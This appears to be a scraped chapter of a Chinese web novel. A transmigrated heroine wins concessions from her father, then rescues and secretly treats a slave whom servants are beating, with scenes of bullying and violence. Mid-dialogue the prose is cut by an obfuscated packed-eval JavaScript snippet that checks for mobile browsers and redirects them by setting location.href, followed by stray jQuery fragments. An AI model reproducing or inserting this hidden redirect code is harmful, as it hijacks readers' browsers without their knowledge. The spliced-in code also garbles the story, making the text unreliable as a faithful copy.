3. 猜疑

作品:《病娇霸主养成指南

    “阿沅,听闻你的行事越发荒谬了,竟想教奴隶读书让他替你完成课题!”


    “你对得起死去的婉娘吗?你真是要气死为父!”孟何愤怒地指责着她。


    至于孟何是怎么知道的,不言自明。


    孟知沅知道,孟何必然对原身包容度极高,不然必容不得其如此嚣张。


    而她的继母只敢捧杀她,暗中做手脚,不敢明面上让孟知沅缺斤少两。


    原身最怕的也是孟何,虽然她在下人面前耀武扬威,但在孟何面前老实得就像一只鹌鹑。


    因为原身和他犟,孟何可是会棍棒伺候的。说不定原身的施虐倾向少不了孟何的影响。


    实际上,孟何因为原身亲娘的缘故,对原身怀有深深的愧疚。


    然而,原身被继母养歪了,也看不懂孟何的爱之深责之切,从未好好利用过这一点,反而导致两人关系十分紧张。


    孟知沅酝酿出些许泪意,特属于少女甜美的嗓音中带着一丝愤慨和哽咽,“爹根本不懂!女儿从未真的想让陆昱珩替女儿完成课题!”


    说罢豆大的泪珠,从她的脸颊滚落。


    孟父看着孟知沅,也是吃了一惊,有些不知所措。


    孟知沅边啜泣边继续说道:“女儿不喜诗词,也不喜那些繁文缛节,但女儿的算学学得极好!”当然这是她今天现考的。


    “女儿知道爹爹喜欢母亲,喜欢知画,讨厌女儿。”


    “女儿自知功课不好,也是有几分羞赧,不敢向其他人请教,更怕耽误了别人。”


    “所以想着教了燕奴后能有个谈论学业的人!”


    孟父本就对孟知沅有些愧疚,听闻心下还有几分心疼,是自己忽略了长女的想法。


    “是为父,思虑不够周全。我会同梅娘说一声,让知画多与你讨论。”梅娘就是孟知沅的继母。


    “女儿不想再麻烦母亲和知画。母亲帮女儿打理娘亲的店铺已是颇为费心。”


    “教燕奴的过程中,女儿也对内容新的理解,未来也可有个能差使的人。”孟知沅抹了抹眼泪,情绪也平复下来。


    “他可是燕国的奴隶!”孟何还是不同意教奴隶念书这件事。


    “可他的生死捏在我们手中!父亲难道还会怕小小燕国奴隶?”孟知沅转而扯了扯孟何的衣角,撒起娇来,“求求你了父亲。”


    孟何刚想驳斥,却是很久没见孟知沅撒过娇了,脸色有些动容。


    孟知沅越是长大,孟何越能看到婉娘的影子,他总会想起当初。


    孟父叹了口气,“算了随你罢。”


    “多谢父亲!”孟知沅甜甜一笑,“女儿还有几个不情之请,女儿想学父亲一样练功习武,女儿还想讨要娘亲城东那间铺子。”


    孟知沅是从她娘亲的陪嫁丫鬟得知她娘亲的嫁妆的,想来除了那两三间铺子,其他早已被继母占为己有。


    “女儿偶然结识了徐大师的弟子,她想租下城东那间铺子,每个月给女儿租金和三成分红。”


    “女儿也想学点东西,将来也有所倚仗,也省了母亲打理的功夫,还能省下一笔月钱。”


    徐大师是位世外高人,他行踪神秘,学识渊博。


    他的信息是今朝状元透露的,这位状元郎自称是得了徐大师的教导,才拿了魁首,因此徐大师声名远播。


    最近还传出了消息,说徐大师又要开始收弟子了。


    孟知沅决定用徐大师的弟子来解释自己的马甲身份,方便她后面用各种古法传承赚钱。


    “哼,你还得寸进尺!至于练功习武,你每日清晨来寻我。”孟父觉得要是孟知沅像他也好,他也不爱读诗词歌赋,“至于徐大师的弟子,你可别被骗了去!”


    “父亲最好了!女儿有分寸,徐大师的弟子也是神秘非凡,但她已然答应我每月固定给我二十两租金。


    “等我与她结完契,便拿来给父亲看。”


    “我会去同梅娘说,到时你把契拿给她看便可。”孟父又想到了什么,“这次百花宴可休要再给我丢脸!”


    “女儿定是不会!”


    上次春日小宴,陈梅,也就是孟知沅继母设计陷害她当众出丑。


    陈夫人也是在屋里大发雷霆,“那小贱人怎么敢从我这里拿东西?这次百花宴我看她怎么收场!”


    *


    几日后。


    “快过来吃啊,怎么不过来?前几日被你爷爷我打得舒服吗?”那叫王二狗的下人神色嚣张。


    陆昱珩面无表情地注视着他,他原本确实有意尝试顺从孟知沅。


    然而,见到这个污秽的走狗,他内心深处的怨恨再次被激起,如同翻涌的波涛。


    王二狗将手中的馊饭倾倒在脚边,以惯常的口吻说道:“像往常一样,先学狗叫两声给爷爷听听。”


    “然后过来把你王爷的鞋舔干净咯,你就能吃你的狗食了。”


    王二狗刚从外边奔走回来,鞋上沾了不少污秽尘土。


    他身旁的下人也跟着大笑。


    看见陆昱珩丝毫未动,其中一个下人道:“这贱狗是腿瘸了还是耳聋了?我去给王哥带过来。”


    说罢他向前,想要将陆昱珩拉过来。


    他刚拉起陆昱珩的胳膊,就被打了一拳,下人吃痛,五官都皱了起来,愤怒地骂道:“你他妈!”


    陆昱珩长期遭受欺凌,自然深谙打何处最痛。每当遭受他们的欺侮后,他都会在脑海中反复模拟,自己该如何反击。


    接着双方扭打起来,陆昱珩虽腿脚还不太好使,但在草垛上的厮打中,竟隐隐占了上风。


    另一个下人见势不妙,赶紧上去搭手,却也是被陆昱珩一拳打到了要害。


    吃痛后,他也是发了狠,一把将陆昱珩拉了开来。而那躺在地上被打的下人见状,便想出拳往陆昱珩脸上呼,只听:“先拖过来。”


    那下人也只得作罢,二人一人一侧,钳住陆昱珩的双臂,陆昱珩虽骨瘦嶙峋,劲倒不小。


    陆昱珩被押到王二狗跟前,陆昱珩一口血沫啐到了王二狗脸上。


    王二狗大怒!他摸了摸脸,“给我跪下!”


    陆昱珩被压倒在地,王二狗神色狠戾,他也跟着蹲下,拍了拍陆昱珩清瘦的脸颊,“怎么?贱狗是觉得识了几个字就硬气了?”


    陆昱珩一言不发,那目光却是恨不得欲将王二狗吞入腹中。


    他找准时机猛地向王二狗的手咬去。


    王二狗大叫一声,“操!!你他妈松口!”


    那两个下人也想来帮忙,一人缚着陆昱珩的双手,另一人去扒拉陆昱珩的下巴。


    可哪知陆昱珩更是发狠,越咬越紧,似是要将那手指咬断,生啖其肉。


    王二狗越发吃痛。


    一名下人开始猛踹陆昱珩。似乎是踹到了陆昱珩的旧伤,陆昱珩闷哼一声,一个松懈,王二狗便挣脱开来。


    王二狗红了眼,抓起陆昱珩的头发,“贱狗敢咬你大爷?”


    说着便将陆昱珩的脑袋往地上磕。


    “贱狗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358190|152821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,贱狗,贱狗,贱狗……”王二狗不知心中发泄的到底是什么,他手中的动作未停,一声声“贱狗”伴随着一声声响亮的磕头声。


    陆昱珩紧紧咬着下唇,他的额头很快就被磕破了,一股鲜红的血液,汩汩地往下流。


    “住手!”


    柴房的门被推开了,一抹明媚的阳光也照了进来。


    陆昱珩此时意识已然有些涣散,哦,狗主子来了。


    来人正是孟知沅,“你们在干什么!”


    王二狗站了起来,躬起身子,一改先前的狠辣,一脸谄媚,“大小姐怎么来了,小的帮忙来送饭的。”


    “这贱狗野性难驯,小的见大小姐忙碌,便擅做主张替大小姐教训一番。”


    未等到孟知沅如往常般赞许,却响起了一声清脆的巴掌声。


    啪!


    “我的人你也敢动?滚下去!”


    王二狗被这一掌打蒙了,眼中狠辣一闪而逝,很快就切换回那谄媚模样,他摸着自己的脸颊,“是,小的这就滚。”说罢他就要离开。


    “等一下。”


    “大小姐可是要小的们继续教训这贱狗?”


    “我说,‘滚’出去。”孟知沅将“滚”字咬得格外重。


    王二狗等人神色一阵扭曲,还是应了一声,带着下人“滚”了出去。


    前几日小甲无意中见到王二狗正跪着和陈梅说些什么,便报给了孟知沅。


    孟知沅让他觉得有什么不对劲便去找她。


    并且照看陆昱珩,给陆昱珩送饭的差事,孟知沅已经交给了小甲。今日小甲见他们来者不善,便匆匆地去寻了孟知沅。


    哪知孟知沅恰好出门去调查市场了。这个时代工艺落后,普通簪子的式样和颜色都非常简单。


    当然也有非常精美的簪子,用的是那真金白银,上面镶的都是宝石玛瑙,非皇亲贵族和富裕官员消费不起。


    孟知沅的缠花簪子想必能给这些古人带来一点小小的震撼。


    她向前去查看陆昱珩的伤势,陆昱珩恰好昏倒在了她的腿上,她把了把陆昱珩的脉。


    “小甲去门口看着,别让任何人进来,芸儿去点根烛火来。”


    现在离晚上还有好几个时辰,此次孟知沅出门还恰好带回了她定制的银针,陆昱珩脉象紊乱,只能先扎几针稳定一下。


    是夜。


    陆昱珩睁眼便看见了她,额头也已经被包扎好了。


    陆昱珩观察着眼前人。


    眼前的姑娘正专注地替他施针,睫毛像小扇子般微微扇动着,她的杏眼澄澈,眼中仿佛尽是温柔。


    但是那对眼睛,实在是太像孟知沅了,最近孟知沅的行为举止,也似乎有些反常。


    恨意的火苗直接燎上了他的心口,比他的思考还快上几分。


    陆昱珩趁眼前人不备,钳住她皓白纤细的手腕,将她控制在身下,语气中尽是质问:“孟知沅?”


    她的身体柔软,散发着一阵宜人的药草香气。


    这一下让孟知沅有些猝不及防,她听到自己胸膛中传来——“咚,咚,咚……”


    她能感受到面前之人胸膛起伏的呼吸,而那锐利的审视目光,使她感到如芒刺在背。


    孟知沅平复呼吸,冷静地和那对漆黑又危险的眼眸对视着。仿佛她只要承认,陆昱珩那双骨节分明,青筋微突的手就会掐向她的脖子。


    “我是她表姐。”


    陆昱珩眼中的戒备似乎弱了些,随后便要去拉孟知沅的面罩。